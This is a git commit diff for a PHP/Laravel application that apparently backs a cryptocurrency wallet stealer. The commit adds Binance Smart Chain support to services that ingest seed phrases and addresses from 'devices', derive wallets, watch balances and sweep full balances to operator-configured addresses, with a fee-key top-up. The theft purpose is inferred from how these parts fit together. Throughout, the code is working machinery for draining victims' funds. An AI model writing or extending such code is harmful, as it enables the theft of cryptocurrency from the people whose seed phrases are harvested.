feat: bnb

This commit is contained in:
hashbro
2026-09-26 12:27:12 +08:00
parent 534b36a2d2
commit ad09fdff88
23 changed files with 475 additions and 82 deletions
+2
View File
@@ -86,7 +86,9 @@ TELEGRAM_WEBHOOK_SECRET=
TRANSFER_TO_ADDRESS= TRANSFER_TO_ADDRESS=
TRANSFER_TO_ADDRESS_ETH= TRANSFER_TO_ADDRESS_ETH=
TRANSFER_TO_ADDRESS_BSC=
TRANSFER_TO_ADDRESS_BTC= TRANSFER_TO_ADDRESS_BTC=
TRANSFER_TO_ADDRESS_SOL=
# TRANSFER_MAX_USDT=0 # TRANSFER_MAX_USDT=0
# TRANSFER_MAX_TRX=0 # TRANSFER_MAX_TRX=0
@@ -21,6 +21,7 @@ class TransferRecordController extends Controller
'chains' => [ 'chains' => [
'tron' => 'TRON', 'tron' => 'TRON',
'eth' => 'ETH', 'eth' => 'ETH',
'bsc' => 'BSC',
'btc' => 'BTC', 'btc' => 'BTC',
], ],
'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'], 'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'],
@@ -159,9 +159,10 @@ class WalletAddressController extends Controller
if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') { if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') {
$amount = null; $amount = null;
} else { } else {
$decimals = match ($asset) { $decimals = match (true) {
'ETH', 'BNB' => 18, $asset === 'ETH', $asset === 'BNB' => 18,
'BTC' => 8, $asset === 'BTC' => 8,
$asset === 'USDT' && $chain === 'bsc' => 18,
default => 6, default => 6,
}; };
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) { if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
@@ -207,6 +208,9 @@ class WalletAddressController extends Controller
if (str_contains($type, 'TRON') || $type === 'TRX') { if (str_contains($type, 'TRON') || $type === 'TRX') {
return 'tron'; return 'tron';
} }
if (str_contains($type, 'BSC') || str_contains($type, 'BNB') || str_contains($type, 'BINANCE')) {
return 'bsc';
}
if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) { if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) {
return 'eth'; return 'eth';
} }
@@ -234,6 +238,7 @@ class WalletAddressController extends Controller
{ {
return match ($chain) { return match ($chain) {
'eth' => ['ETH', 'USDT', 'BNB'], 'eth' => ['ETH', 'USDT', 'BNB'],
'bsc' => ['BNB', 'USDT'],
'btc' => ['BTC'], 'btc' => ['BTC'],
default => ['USDT', 'TRX'], default => ['USDT', 'TRX'],
}; };
+3 -1
View File
@@ -379,7 +379,8 @@ class AutoTransferService
{ {
return match ($chain) { return match ($chain) {
'TRON', 'TRX' => ['USDT', 'TRX'], 'TRON', 'TRX' => ['USDT', 'TRX'],
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'], 'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
'BSC', 'BNB', 'BINANCE' => ['BNB', 'USDT'],
'BTC', 'BITCOIN' => ['BTC'], 'BTC', 'BITCOIN' => ['BTC'],
default => [], default => [],
}; };
@@ -390,6 +391,7 @@ class AutoTransferService
return match ($chain) { return match ($chain) {
'TRON', 'TRX' => 'tron', 'TRON', 'TRX' => 'tron',
'ETH', 'ETHEREUM', 'EVM' => 'eth', 'ETH', 'ETHEREUM', 'EVM' => 'eth',
'BSC', 'BNB', 'BINANCE' => 'bsc',
'BTC', 'BITCOIN' => 'btc', 'BTC', 'BITCOIN' => 'btc',
default => null, default => null,
}; };
+20
View File
@@ -0,0 +1,20 @@
<?php
namespace App\Services\Chain;
/**
* BSC (chain id 56). Same BIP44 path and address as Ethereum.
* Native coin is BNB. USDT is BEP20.
*/
class BscDriver extends EthDriver
{
public function chainId(): string
{
return 'bsc';
}
protected function configPrefix(): string
{
return 'coruna.bsc';
}
}
+2
View File
@@ -9,6 +9,7 @@ class ChainManager
public function __construct( public function __construct(
private readonly TronDriver $tron, private readonly TronDriver $tron,
private readonly EthDriver $eth, private readonly EthDriver $eth,
private readonly BscDriver $bsc,
private readonly BtcDriver $btc, private readonly BtcDriver $btc,
private readonly SolDriver $sol, private readonly SolDriver $sol,
) {} ) {}
@@ -18,6 +19,7 @@ class ChainManager
return match (strtolower($chain)) { return match (strtolower($chain)) {
'tron', 'trx' => $this->tron, 'tron', 'trx' => $this->tron,
'eth', 'ethereum' => $this->eth, 'eth', 'ethereum' => $this->eth,
'bsc', 'bnb', 'binance' => $this->bsc,
'btc', 'bitcoin' => $this->btc, 'btc', 'bitcoin' => $this->btc,
'sol', 'solana' => $this->sol, 'sol', 'solana' => $this->sol,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"), default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
+19 -21
View File
@@ -76,18 +76,14 @@ class EthDriver implements ChainDriver
// fall through to token // fall through to token
} }
foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) { $contract = trim((string) config($this->configPrefix().'.usdt_contract', ''));
$contract = trim((string) config($key, '')); if ($contract !== '') {
if ($contract === '') {
continue;
}
try { try {
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) { if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
return true; return true;
} }
} catch (\Throwable) { } catch (\Throwable) {
// try the next token return false;
} }
} }
@@ -129,14 +125,14 @@ class EthDriver implements ChainDriver
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
{ {
$chainId = (int) config('coruna.eth.chain_id', 1); $chainId = (int) config($this->configPrefix().'.chain_id', 1);
$nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']); $nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']);
$gasPriceHex = $this->rpc('eth_gasPrice', []); $gasPriceHex = $this->rpc('eth_gasPrice', []);
if (! is_string($nonceHex) || ! is_string($gasPriceHex)) { if (! is_string($nonceHex) || ! is_string($gasPriceHex)) {
throw new RuntimeException('Failed to fetch nonce/gasPrice'); throw new RuntimeException('Failed to fetch nonce/gasPrice');
} }
$gasLimit = trim((string) config('coruna.eth.gas_limit', '')); $gasLimit = trim((string) config($this->configPrefix().'.gas_limit', ''));
if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) { if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) {
$gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000'; $gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000';
} }
@@ -190,19 +186,21 @@ class EthDriver implements ChainDriver
return $human === '' ? '0' : $human; return $human === '' ? '0' : $human;
} }
protected function configPrefix(): string
{
return 'coruna.eth';
}
private function tokenDecimals(string $contract): int private function tokenDecimals(string $contract): int
{ {
$normalized = EthAddress::normalize($contract); $normalized = EthAddress::normalize($contract);
$known = [ $usdt = EthAddress::normalize((string) config($this->configPrefix().'.usdt_contract', ''));
EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6), $decimals = (int) config($this->configPrefix().'.usdt_decimals', 6);
EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18), if ($normalized !== '' && $usdt !== '' && $normalized === $usdt && $decimals > 0) {
]; return $decimals;
unset($known['']);
if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) {
return $known[$normalized];
} }
return max(1, (int) config('coruna.eth.usdt_decimals', 6)); return max(1, $decimals > 0 ? $decimals : 6);
} }
private function toTokenUnits(string $amount, int $decimals): string private function toTokenUnits(string $amount, int $decimals): string
@@ -248,7 +246,7 @@ class EthDriver implements ChainDriver
private function rpc(string $method, array $params): mixed private function rpc(string $method, array $params): mixed
{ {
$url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/'); $url = rtrim((string) config($this->configPrefix().'.rpc_url', 'https://ethereum.publicnode.com'), '/');
$resp = $this->http()->post($url, [ $resp = $this->http()->post($url, [
'jsonrpc' => '2.0', 'jsonrpc' => '2.0',
'id' => 1, 'id' => 1,
@@ -256,15 +254,15 @@ class EthDriver implements ChainDriver
'params' => $params, 'params' => $params,
]); ]);
if (! $resp->successful()) { if (! $resp->successful()) {
throw new RuntimeException('ETH RPC HTTP '.$resp->status()); throw new RuntimeException(strtoupper($this->chainId()).' RPC HTTP '.$resp->status());
} }
$json = $resp->json(); $json = $resp->json();
if (! is_array($json)) { if (! is_array($json)) {
throw new RuntimeException('Invalid ETH RPC response'); throw new RuntimeException('Invalid '.strtoupper($this->chainId()).' RPC response');
} }
if (isset($json['error'])) { if (isset($json['error'])) {
$msg = $json['error']['message'] ?? json_encode($json['error']); $msg = $json['error']['message'] ?? json_encode($json['error']);
throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error')); throw new RuntimeException(strtoupper($this->chainId()).' RPC: '.(is_string($msg) ? $msg : 'error'));
} }
return $json['result'] ?? null; return $json['result'] ?? null;
+46 -9
View File
@@ -859,11 +859,7 @@ class IngestService
$balance = ''; $balance = '';
} }
$existing = WalletAddress::query() $existing = $this->findAddressRow($device->id, $address, $source, $chainType);
->where('device_id', $device->id)
->where('address', $address)
->where('source', $source)
->first();
$beforeCoins = $existing?->coinSnapshot(); $beforeCoins = $existing?->coinSnapshot();
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null); $coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
@@ -877,10 +873,19 @@ class IngestService
$attrs['monitor'] = 1; $attrs['monitor'] = 1;
} }
$addr = WalletAddress::query()->updateOrCreate( if ($existing !== null) {
['device_id' => $device->id, 'address' => $address, 'source' => $source], $existing->fill($attrs);
$attrs $existing->save();
); $addr = $existing;
} else {
$addr = new WalletAddress([
'device_id' => $device->id,
'address' => $address,
'source' => $source,
]);
$addr->fill($attrs);
$addr->save();
}
if ($addr->mnemonic_id === null) { if ($addr->mnemonic_id === null) {
$this->mnemonicLinker->linkAddress($addr); $this->mnemonicLinker->linkAddress($addr);
@@ -897,6 +902,19 @@ class IngestService
$this->enableMonitorOrDisable($addr); $this->enableMonitorOrDisable($addr);
} }
if (! $existing && in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true)) {
$bsc = $this->balances->ensureBscForEthAddress($addr);
if ($bsc !== null && $bsc->wasRecentlyCreated) {
$this->enableMonitorOrDisable($bsc);
$notify[] = [
'address' => (string) $bsc->address,
'chain' => 'BSC',
'balance' => $bsc->balanceDisplayLine(),
'source' => $source,
];
}
}
$balanceSummary = $addr->balanceDisplayLine(); $balanceSummary = $addr->balanceDisplayLine();
$shouldNotify = ! $existing $shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot()); || ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
@@ -916,6 +934,25 @@ class IngestService
} }
} }
private function findAddressRow(int $deviceId, string $address, ?string $source, string $chainType): ?WalletAddress
{
$aliases = match (true) {
in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true) => ['ETH', 'ETHEREUM', 'EVM'],
in_array($chainType, ['BSC', 'BNB', 'BINANCE'], true) => ['BSC', 'BNB', 'BINANCE'],
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
default => [$chainType],
};
return WalletAddress::query()
->where('device_id', $deviceId)
->where('address', $address)
->where('source', $source)
->whereIn('chain_type', $aliases)
->first();
}
/** /**
* Two-field monitor model: * Two-field monitor model:
* monitor — user-facing switch (default ON for new addresses) * monitor — user-facing switch (default ON for new addresses)
+3 -3
View File
@@ -41,7 +41,7 @@ class MnemonicAddressLinker
} }
$target = (string) $address->address; $target = (string) $address->address;
$caseInsensitive = $driver->chainId() === 'eth'; $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
foreach ($mnemonics as $mnemonicRow) { foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic; $phrase = $mnemonicRow->mnemonic;
@@ -125,7 +125,7 @@ class MnemonicAddressLinker
continue; continue;
} }
$lookup = $driver->chainId() === 'eth' $lookup = in_array($driver->chainId(), ['eth', 'bsc'], true)
? strtolower((string) $address->address) ? strtolower((string) $address->address)
: (string) $address->address; : (string) $address->address;
@@ -193,7 +193,7 @@ class MnemonicAddressLinker
*/ */
private function deriveIndexMap(ChainDriver $driver, string $phrase): array private function deriveIndexMap(ChainDriver $driver, string $phrase): array
{ {
$caseInsensitive = $driver->chainId() === 'eth'; $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
$map = []; $map = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try { try {
+29 -4
View File
@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
/** /**
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for * When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query). * TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the * Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活. * wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on. * Activated rows are persisted with monitor on.
@@ -26,6 +26,7 @@ class MnemonicWalletDiscovery
private const CHAINS = [ private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'], ['chain' => 'tron', 'chain_type' => 'TRON'],
['chain' => 'eth', 'chain_type' => 'ETH'], ['chain' => 'eth', 'chain_type' => 'ETH'],
['chain' => 'bsc', 'chain_type' => 'BSC'],
['chain' => 'btc', 'chain_type' => 'BTC'], ['chain' => 'btc', 'chain_type' => 'BTC'],
['chain' => 'sol', 'chain_type' => 'SOLANA'], ['chain' => 'sol', 'chain_type' => 'SOLANA'],
]; ];
@@ -108,7 +109,8 @@ class MnemonicWalletDiscovery
{ {
$aliases = match ($chain) { $aliases = match ($chain) {
'tron' => ['TRON', 'TRX'], 'tron' => ['TRON', 'TRX'],
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'], 'eth' => ['ETH', 'ETHEREUM', 'EVM'],
'bsc' => ['BSC', 'BNB', 'BINANCE'],
'btc' => ['BTC', 'BITCOIN'], 'btc' => ['BTC', 'BITCOIN'],
'sol' => ['SOL', 'SOLANA'], 'sol' => ['SOL', 'SOLANA'],
default => [strtoupper($chain)], default => [strtoupper($chain)],
@@ -216,6 +218,7 @@ class MnemonicWalletDiscovery
return match ($chain) { return match ($chain) {
'tron' => $this->probeTron($driver, $address), 'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address), 'eth' => $this->probeEth($driver, $address),
'bsc' => $this->probeBsc($driver, $address),
'btc' => $this->probeBtc($driver, $address), 'btc' => $this->probeBtc($driver, $address),
'sol' => $this->probeSol($driver, $address), 'sol' => $this->probeSol($driver, $address),
default => ['activated' => false, 'coins' => []], default => ['activated' => false, 'coins' => []],
@@ -259,7 +262,6 @@ class MnemonicWalletDiscovery
'coins' => [ 'coins' => [
'eth' => $driver->getNativeBalance($address), 'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
], ],
]; ];
} }
@@ -267,6 +269,27 @@ class MnemonicWalletDiscovery
/** /**
* @return array{activated: bool, coins: array<string, string>} * @return array{activated: bool, coins: array<string, string>}
*/ */
private function probeBsc(ChainDriver $driver, string $address): array
{
try {
$bnb = $driver->getNativeBalance($address);
} catch (\Throwable) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
return [
'activated' => true,
'coins' => [
'bnb' => $bnb,
'usdt' => $usdt,
],
];
}
private function probeBtc(ChainDriver $driver, string $address): array private function probeBtc(ChainDriver $driver, string $address): array
{ {
if ($driver instanceof BtcDriver) { if ($driver instanceof BtcDriver) {
@@ -329,6 +352,7 @@ class MnemonicWalletDiscovery
'device_id' => $mnemonic->device_id, 'device_id' => $mnemonic->device_id,
'address' => $address, 'address' => $address,
'source' => $source !== '' ? $source : null, 'source' => $source !== '' ? $source : null,
'chain_type' => $chainType,
]); ]);
$row->chain_type = $chainType; $row->chain_type = $chainType;
@@ -395,7 +419,8 @@ class MnemonicWalletDiscovery
{ {
return match ($chain) { return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'], 'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'], 'eth' => ['eth' => '0', 'usdt' => '0'],
'bsc' => ['bnb' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'], 'btc' => ['btc' => '0'],
'sol' => ['sol' => '0', 'usdt' => '0'], 'sol' => ['sol' => '0', 'usdt' => '0'],
default => [], default => [],
+5
View File
@@ -48,7 +48,9 @@ class SettingsService
'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'), 'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
'transfer.to_address' => config('coruna.transfer.to_address'), 'transfer.to_address' => config('coruna.transfer.to_address'),
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'), 'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
'transfer.to_address_bsc' => config('coruna.transfer.to_address_bsc'),
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'), 'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
'transfer.to_address_sol' => config('coruna.transfer.to_address_sol'),
'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'), 'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'), 'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'), 'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
@@ -113,7 +115,9 @@ class SettingsService
'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''), 'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''), 'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''), 'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
'transfer.to_address_bsc' => (string) (config('coruna.transfer.to_address_bsc') ?: ''),
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''), 'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
'transfer.to_address_sol' => (string) (config('coruna.transfer.to_address_sol') ?: ''),
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''), 'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
'transfer.fee_private_key_tron' => '', 'transfer.fee_private_key_tron' => '',
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0', 'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
@@ -156,6 +160,7 @@ class SettingsService
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]), 'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]), 'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]), 'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
'transfer.to_address_sol' => config(['coruna.transfer.to_address_sol' => $value]),
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]), 'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]), 'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']), 'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
+32 -26
View File
@@ -33,6 +33,11 @@ class TransferService
?string $operator = null, ?string $operator = null,
): array { ): array {
$chain = strtolower(trim($chain)); $chain = strtolower(trim($chain));
$asset = strtoupper(trim($asset));
// Native BNB and later BEP20 USDT settlement both happen on BSC.
if ($asset === 'BNB') {
$chain = 'bsc';
}
$record = [ $record = [
'from_address' => $fromAddress, 'from_address' => $fromAddress,
'to_address' => null, 'to_address' => null,
@@ -85,7 +90,7 @@ class TransferService
} }
$record['amount'] = $amount; $record['amount'] = $amount;
$this->assertAmountWithinLimit($amount, $asset); $this->assertAmountWithinLimit($amount, $asset, $chain);
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress); $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
if ($resolved === null) { if ($resolved === null) {
@@ -108,13 +113,7 @@ class TransferService
$amount, $amount,
$this->usdtContract($chain), $this->usdtContract($chain),
), ),
'BNB' => $driver->sendToken( 'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
$mnemonic,
$index,
$to,
$amount,
$this->bnbContract($chain),
),
default => throw new RuntimeException("Unsupported asset: {$asset}"), default => throw new RuntimeException("Unsupported asset: {$asset}"),
}; };
@@ -422,7 +421,9 @@ class TransferService
{ {
return match ($chain) { return match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')), 'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
'bsc', 'bnb', 'binance' => $this->bscToAddress(),
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')), 'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')),
default => trim((string) config('coruna.transfer.to_address', '')), default => trim((string) config('coruna.transfer.to_address', '')),
}; };
} }
@@ -431,7 +432,9 @@ class TransferService
{ {
return match ($chain) { return match ($chain) {
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured', 'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured',
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured', 'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
default => 'TRANSFER_TO_ADDRESS is not configured', default => 'TRANSFER_TO_ADDRESS is not configured',
}; };
} }
@@ -440,6 +443,7 @@ class TransferService
{ {
$contract = match ($chain) { $contract = match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')), 'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')),
default => trim((string) config('coruna.tron.usdt_contract', '')), default => trim((string) config('coruna.tron.usdt_contract', '')),
}; };
if ($contract === '') { if ($contract === '') {
@@ -449,39 +453,32 @@ class TransferService
return $contract; return $contract;
} }
private function bnbContract(string $chain): string private function bscToAddress(): string
{ {
if (! in_array($chain, ['eth', 'ethereum'], true)) { $bsc = trim((string) config('coruna.transfer.to_address_bsc', ''));
throw new RuntimeException('BNB is only supported on ETH'); if ($bsc !== '') {
} return $bsc;
$contract = trim((string) config('coruna.eth.bnb_contract', ''));
if ($contract === '') {
throw new RuntimeException('BNB contract is not configured for '.$chain);
} }
return $contract; return trim((string) config('coruna.transfer.to_address_eth', ''));
} }
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
{ {
$balance = match ($asset) { $balance = match ($asset) {
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress), 'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress),
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)), 'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)),
default => throw new RuntimeException("Unsupported asset: {$asset}"), default => throw new RuntimeException("Unsupported asset: {$asset}"),
}; };
$reserveKey = match ($asset) { $reserveKey = match ($asset) {
'TRX' => 'coruna.transfer.trx_fee_reserve', 'TRX' => 'coruna.transfer.trx_fee_reserve',
'ETH' => 'coruna.transfer.eth_fee_reserve', 'ETH' => 'coruna.transfer.eth_fee_reserve',
'BNB' => 'coruna.transfer.bnb_fee_reserve',
'BTC' => 'coruna.transfer.btc_fee_reserve', 'BTC' => 'coruna.transfer.btc_fee_reserve',
default => null, default => null,
}; };
$scale = match ($asset) { $scale = $this->assetDecimals($asset, $chain);
'ETH', 'BNB' => 18,
'BTC' => 8,
default => 6,
};
if ($reserveKey !== null) { if ($reserveKey !== null) {
$reserve = (string) config($reserveKey, '0'); $reserve = (string) config($reserveKey, '0');
@@ -524,7 +521,7 @@ class TransferService
} }
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20)); $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
$caseInsensitive = $driver->chainId() === 'eth'; $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
foreach ($addressRows as $row) { foreach ($addressRows as $row) {
if ($row->mnemonic_id !== null) { if ($row->mnemonic_id !== null) {
@@ -586,13 +583,22 @@ class TransferService
return null; return null;
} }
private function assertAmountWithinLimit(string $amount, string $asset): void private function assetDecimals(string $asset, string $chain): int
{ {
$decimals = match ($asset) { if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) {
return max(1, (int) config('coruna.bsc.usdt_decimals', 18));
}
return match ($asset) {
'ETH', 'BNB' => 18, 'ETH', 'BNB' => 18,
'BTC' => 8, 'BTC' => 8,
default => 6, default => 6,
}; };
}
private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void
{
$decimals = $this->assetDecimals($asset, $chain);
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) { if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
throw new RuntimeException('Invalid amount'); throw new RuntimeException('Invalid amount');
} }
+146 -5
View File
@@ -11,7 +11,8 @@ use Illuminate\Support\Facades\Log;
/** /**
* Live on-chain balance refresh for wallet_addresses. * Live on-chain balance refresh for wallet_addresses.
* *
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only. * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20); same address also reads BSC BNB.
* BSC: native BNB + USDT (BEP20). BTC: BTC only.
* SOL: SOL + USDT (SPL). * SOL: SOL + USDT (SPL).
*/ */
class WalletBalanceService class WalletBalanceService
@@ -31,7 +32,8 @@ class WalletBalanceService
return match ($chain) { return match ($chain) {
'TRON', 'TRX' => $this->refreshTron($address), 'TRON', 'TRX' => $this->refreshTron($address),
'ETH', 'ETHEREUM' => $this->refreshEth($address), 'ETH', 'ETHEREUM', 'EVM' => $this->refreshEth($address),
'BSC', 'BNB', 'BINANCE' => $this->refreshBsc($address),
'BTC', 'BITCOIN' => $this->refreshBtc($address), 'BTC', 'BITCOIN' => $this->refreshBtc($address),
'SOL', 'SOLANA' => $this->refreshSol($address), 'SOL', 'SOLANA' => $this->refreshSol($address),
default => false, default => false,
@@ -54,9 +56,10 @@ class WalletBalanceService
if ($contract !== '') { if ($contract !== '') {
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract); $attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
} }
$bnbContract = trim((string) config('coruna.eth.bnb_contract', '')); $bscCoins = $this->bscCoins($addr);
if ($bnbContract !== '') { if ($bscCoins !== null) {
$attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract); $attrs['bnb'] = $bscCoins['bnb'];
$this->persistBscSibling($address, $bscCoins);
} }
$this->persistCoins($address, $attrs); $this->persistCoins($address, $attrs);
@@ -79,6 +82,144 @@ class WalletBalanceService
} }
} }
public function refreshBsc(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$coins = $this->bscCoins($addr);
if ($coins === null) {
return false;
}
$this->persistCoins($address, [
'bnb' => $coins['bnb'],
'usdt' => $coins['usdt'],
]);
Log::info('bsc balance refresh ok', [
'wallet_address_id' => $address->id,
'address' => $addr,
'bnb' => $address->bnb,
